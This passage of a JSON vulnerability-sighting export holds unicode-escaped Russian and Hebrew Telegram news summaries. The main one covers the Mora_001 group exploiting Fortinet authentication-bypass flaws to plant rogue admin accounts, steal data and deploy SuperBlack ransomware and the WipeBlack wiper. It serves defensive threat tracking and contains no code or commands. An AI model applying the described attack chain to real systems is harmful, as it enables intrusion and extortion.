\u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u044f\u0432\u043b\u044f\u044f\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0442\u0440\u0438\u0430\u043d\u0433\u0443\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0434\u0430\u043d\u043d\u044b\u0445 \u043e \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0438, 15 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u0438\u0447\u043d\u043e\u0439 \u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438  \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.", "creation_timestamp": "2024-08-02T17:50:05.000000Z"}, {"uuid": "7c2b1056-7cf9-4b35-a058-5c07638f9a13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/CyberSecurityIL/67692", "content": "\u05e7\u05d1\u05d5\u05e6\u05ea \u05d4\u05db\u05d5\u05e4\u05e8 Mora_001 \u05de\u05e0\u05e6\u05dc\u05ea \u05e9\u05ea\u05d9 \u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05d0\u05d1\u05d8\u05d7\u05d4 \u05d1\u05de\u05d5\u05e6\u05e8\u05d9 Fortinet \u05db\u05d3\u05d9 \u05dc\u05d7\u05d3\u05d5\u05e8 \u05dc\u05e8\u05e9\u05ea\u05d5\u05ea \u05d0\u05e8\u05d2\u05d5\u05e0\u05d9\u05d5\u05ea \u05d5\u05dc\u05d4\u05e4\u05d9\u05e5 \u05d0\u05ea \u05e0\u05d5\u05d6\u05e7\u05ea \u05db\u05d5\u05e4\u05e8 \u05de\u05e1\u05d5\u05d2 SuperBlack. \n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea, CVE-2024-55591 \u05d5-CVE-2025-24472, \u05d4\u05de\u05e9\u05e4\u05d9\u05e2\u05d5\u05ea \u05e2\u05dc \u05de\u05d5\u05e6\u05e8\u05d9 FortiOS \u05d5-FortiProxy, \u05de\u05d0\u05e4\u05e9\u05e8\u05d5\u05ea \u05dc\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05dc\u05d4\u05e9\u05d9\u05d2 \u05d2\u05d9\u05e9\u05d4 \u05dc\u05de\u05e2\u05e8\u05db\u05d5\u05ea \u05d4\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea. \u05d4\u05e1\u05d5\u05db\u05e0\u05d5\u05ea \u05dc\u05d4\u05d2\u05e0\u05ea \u05e1\u05d9\u05d9\u05d1\u05e8 \u05d5\u05ea\u05e9\u05ea\u05d9\u05d5\u05ea \u05d1\u05d0\u05e8\u05d4\"\u05d1 (CISA) \u05d3\u05d9\u05d5\u05d5\u05d7\u05d4 \u05e2\u05dc \u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05db\u05d1\u05e8 \u05d1\u05d9\u05e0\u05d5\u05d0\u05e8, \u05d5\u05d3\u05e8\u05e9\u05d4 \u05de\u05db\u05dc \u05d4\u05e1\u05d5\u05db\u05e0\u05d5\u05d9\u05d5\u05ea \u05d4\u05e4\u05d3\u05e8\u05dc\u05d9\u05d5\u05ea \u05dc\u05e2\u05d3\u05db\u05df \u05d0\u05ea \u05db\u05dc \u05d4\u05de\u05e2\u05e8\u05db\u05d5\u05ea \u05d4\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05d1\u05ea\u05d5\u05da \u05e9\u05d1\u05d5\u05e2. \n\n\u05d7\u05d5\u05e7\u05e8\u05d9 Forescout \u05d6\u05d9\u05d4\u05d5 \u05d1\u05d9\u05df \u05d9\u05e0\u05d5\u05d0\u05e8 \u05dc\u05de\u05e8\u05e5 \u05de\u05e1\u05e4\u05e8 \u05de\u05ea\u05e7\u05e4\u05d5\u05ea \u05e9\u05d4\u05d7\u05dc\u05d5 \u05d1\u05e0\u05d9\u05e6\u05d5\u05dc \u05d4\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea \u05d4\u05d0\u05dc\u05d5 \u05d5\u05d4\u05e1\u05ea\u05d9\u05d9\u05de\u05d5 \u05d1\u05e0\u05d5\u05d6\u05e7\u05d5\u05ea \u05db\u05d5\u05e4\u05e8 \u05de\u05e1\u05d5\u05d2 SuperBlack. (\u05d4\u05e0\u05d5\u05d6\u05e7\u05d4 \u05de\u05d1\u05d5\u05e1\u05e1\u05ea \u05e2\u05dc LockBit 3.0, \u05e2\u05dd \u05d4\u05ea\u05d0\u05de\u05d5\u05ea \u05e9\u05d5\u05e0\u05d5\u05ea).\n\nhttps://t.me/CyberSecurityIL/6820", "creation_timestamp": "2025-03-18T07:23:50.000000Z"}, {"uuid": "2187baa3-18ae-4375-a56b-d7d6e53e896e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "Telegram/8lnH4SAKcJljNLo4qBVehFRbGjpB-8sFSyZCEFzGNm2VGGg", "content": "", "creation_timestamp": "2025-02-11T18:36:20.000000Z"}, {"uuid": "0729eab1-bac1-4be4-b57a-71c505145657", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/true_secator/6841", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Forescout \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Mora_001, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Fortinet \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u043c \u044d\u043a\u0440\u0430\u043d\u0430\u043c \u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0448\u0442\u0430\u043c\u043c\u0430 ransomware SuperBlack.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, CVE-2024-55591 \u0438 CVE-2025-24472, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 Fortinet \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435 \u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.\n\n14 \u044f\u043d\u0432\u0430\u0440\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Fortinet \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 CVE-2024-55591, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0432 \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day, \u0430 Arctic Wolf \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c\u00a0\u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u043d\u043e\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430\u00a0\u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u044d\u043a\u0440\u0430\u043d\u043e\u0432 FortiGate.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c 11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f Fortinet \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 CVE-2025-24472 \u0432 \u0441\u0432\u043e\u0439 \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u0438\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c, \u0447\u0442\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u043b\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043f\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u041e\u0434\u043d\u0430\u043a\u043e\u00a0\u043f\u043e\u0437\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u044d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435 2024 \u0433\u043e\u0434\u0430 \u0438 \u043d\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043d\u043e\u0432\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435 Forescout \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043e\u043d\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0430\u0442\u0430\u043a\u0438 SuperBlack \u0432 \u043a\u043e\u043d\u0446\u0435 \u044f\u043d\u0432\u0430\u0440\u044f 2025 \u0433\u043e\u0434\u0430, \u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b CVE-2025-24472 \u0435\u0449\u0435 2 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2025 \u0433\u043e\u0434\u0430.\n\n\u0421\u0430\u043c\u0430 Forescout \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0430 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Fortinet, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443 \u0443\u0448\u043b\u0438 \u043e\u0442 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0435\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e, 11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, Fortinet \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0441\u0432\u043e\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438, \u043f\u0440\u0438\u0437\u043d\u0430\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2025-24472 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0439.\n\n\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044f\u0441\u044c \u043a Mora_001, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0447\u0435\u0442\u043a\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0430\u0442\u0430\u043a, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435 \u0441\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0436\u0435\u0440\u0442\u0432\u044b \u043a \u0436\u0435\u0440\u0442\u0432\u0435.\n\n\u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 super_admin, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Fortinet \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0430\u0442\u0430\u043a \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 WebSocket \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 jsconsole \u0438\u043b\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u043f\u0440\u044f\u043c\u044b\u0435 HTTPS-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430.\n\n\u0417\u0430\u0442\u0435\u043c \u043e\u043d\u0438 \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 (forticloud-tech, fortigate-firewall, adnimistrator), \u0438\u0437\u043c\u0435\u043d\u044f\u044f \u0437\u0430\u0434\u0430\u0447\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0441\u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0438\u0445 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u0430\u0440\u0442\u0443 \u0441\u0435\u0442\u0438 \u0438 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 VPN \u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 VPN, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Windows (WMIC) \u0438 SSH, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e TACACS+/RADIUS.\n\nMora_001 \u043a\u0440\u0430\u0434\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u0430 \u0437\u0430\u0442\u0435\u043c \u0448\u0438\u0444\u0440\u0443\u0435\u0442 \u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430, \u043e\u0442\u0434\u0430\u0432\u0430\u044f \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u043c \u0434\u043e\u043c\u0435\u043d\u043e\u0432.\n\n\u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u043a\u0438 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u044b\u043a\u0443\u043f\u0430 \u0441\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0436\u0435\u0440\u0442\u0432\u044b, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0432\u0430\u0439\u043f\u0435\u0440 WipeBlack, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0432\u0441\u0435 \u0441\u043b\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0438\u0442\u044c \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437.\n\nForescout \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u043d\u0430 \u0442\u0435\u0441\u043d\u0443\u044e \u0441\u0432\u044f\u0437\u044c \u043c\u0435\u0436\u0434\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 SuperBlack \u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c \u041f\u041e LockBit, \u0445\u043e\u0442\u044f \u043f\u0435\u0440\u0432\u043e\u0435, \u043f\u043e-\u0432\u0438\u0434\u0438\u043c\u043e\u043c\u0443, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e.\n\n\u0428\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a SuperBlack [VirusTotal] \u043e\u0441\u043d\u043e\u0432\u0430\u043d \u043d\u0430 \u0443\u0442\u0435\u043a\u0448\u0435\u043c \u0432 \u0441\u0435\u0442\u044c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0435 LockBit 3.0, \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0435\u043c \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u0441 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u043c \u0431\u0440\u0435\u043d\u0434\u0438\u043d\u0433\u043e\u043c.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0432 \u0437\u0430\u043f\u0438\u0441\u043a\u0435 SuperBlack \u043e \u0432\u044b\u043a\u0443\u043f\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0447\u0430\u0442\u0430 TOX, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 LockBit, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e Mora_001 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u0431\u044b\u0432\u0448\u0438\u043c \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u043c LockBit, \u043b\u0438\u0431\u043e \u0431\u044b\u0432\u0448\u0438\u043c \u0447\u043b\u0435\u043d\u043e\u043c \u0435\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0432\u044b\u043f\u043b\u0430\u0442\u043e\u0439 \u0432\u044b\u043a\u0443\u043f\u0430 \u0438 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u0430\u043c\u0438.\n\n\u0422\u0440\u0435\u0442\u0438\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0449\u0438\u0439 \u0441\u0432\u044f\u0437\u044c, - \u044d\u0442\u043e \u043e\u0431\u0448\u0438\u0440\u043d\u044b\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 LockBit. \n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, WipeBlack \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u043c\u0438-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f\u043c\u0438 BrainCipher, EstateRansomware \u0438 SenSayQ, \u0432\u0441\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 LockBit.\n\n\u041e\u0431\u0448\u0438\u0440\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a IoC, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 SuperBlack - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-03-14T12:05:56.000000Z"}, {"uuid": "6a75b92a-482a-43f2-b794-cc892a77220c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55417", "type": "seen", "source": "https://t.me/true_secator/6678", "content": "\u041d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 PHP-\u043f\u0430\u043a\u0435\u0442\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c Voyager \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 Laravel \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c RCE-\u0430\u0442\u0430\u043a\u0430\u043c \u0432 \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u043c\u0438 